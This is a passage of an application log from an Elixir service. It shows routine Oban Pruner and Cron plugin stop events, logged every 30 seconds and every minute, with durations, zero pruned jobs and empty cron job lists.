{"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:52.725 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.526 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:12:22.727 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:52.729 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.527 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:13:22.731 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:52.733 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.528 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:14:22.735 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:52.737 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.529 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:15:22.739 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:52.741 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.530 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:16:22.743 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:52.745 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.531 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:17:22.747 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:52.749 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.532 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:18:22.751 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:52.753 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.533 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:19:22.755 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:52.757 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.534 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:20:22.759 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:52.761 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.535 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:21:22.763 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:52.765 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.536 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:22:22.767 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:52.769 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.537 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:23:22.771 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:52.773 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.538 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:24:22.775 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:52.777 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.539 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:25:22.779 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:52.780 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.540 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:26:22.783 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:52.784 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.541 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:27:22.787 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:52.789 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.542 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:28:22.791 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:52.793 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.543 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:29:22.795 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:52.797 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.544 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:30:22.799 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:52.802 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.545 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:31:22.804 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:52.806 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.546 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:32:22.808 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:52.809 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.547 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:33:22.812 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:52.814 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.548 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:34:22.816 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:52.817 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.549 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:35:22.820 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:52.822 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.550 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:36:22.824 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:52.826 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.551 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:37:22.828 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:52.830 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.552 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:38:22.832 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:52.834 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.553 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:39:22.836 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:52.838 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.554 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:40:22.840 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:52.842 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.555 [info] {"source":"oban","duration":175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:41:22.844 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:52.846 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.556 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:42:22.848 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:52.850 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.557 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:43:22.852 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:52.853 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.558 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:44:22.856 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:52.858 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.559 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:45:22.860 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:52.862 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.560 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:46:22.864 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:52.866 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.561 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:47:22.868 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:52.870 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.562 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:48:22.872 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:52.874 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.563 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:49:22.876 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:52.878 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.564 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:50:22.880 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:52.882 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.565 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:51:22.884 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:52.886 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.566 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:52:22.887 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:52.890 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.567 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:53:22.892 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:52.894 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.568 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:54:22.896 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:52.898 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.569 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:55:22.900 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:52.902 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.570 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:56:22.904 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:52.906 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.571 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:57:22.909 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:52.911 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.572 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:58:22.913 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:52.915 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.573 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:59:22.918 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:52.920 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.574 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:00:22.922 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:52.924 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.575 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:01:22.926 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:52.928 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.576 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:02:22.930 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:52.932 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.577 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:03:22.934 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:52.936 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.578 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:04:22.938 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:52.940 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.579 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:05:22.942 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:52.944 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.580 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:06:22.946 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:52.948 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.581 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:07:22.950 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:52.952 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.582 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:08:22.954 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:52.956 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.583 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:09:22.958 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:52.960 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.584 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:10:22.962 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:52.964 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.585 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:11:22.966 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:52.968 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.586 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:12:22.970 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:52.972 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.587 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:13:22.974 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:52.976 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.588 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:14:22.978 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:52.980 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.589 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:15:22.982 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:52.984 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.590 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:22.986 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:52.988 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.591 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:22.990 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:52.992 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.592 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:22.994 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:52.996 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.593 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:22.998 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:53.000 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.594 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:23.002 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:53.004 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.595 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:23.006 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:53.008 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.596 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:23.010 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:53.012 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.597 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:23.014 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:53.016 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.598 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:23.018 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:53.020 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.599 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:23.022 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:53.024 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.600 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:23.026 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:53.028 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.601 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:23.030 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:53.032 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.602 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:23.034 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:53.037 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.603 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:23.039 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:53.041 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.604 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:23.043 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:53.046 [info] 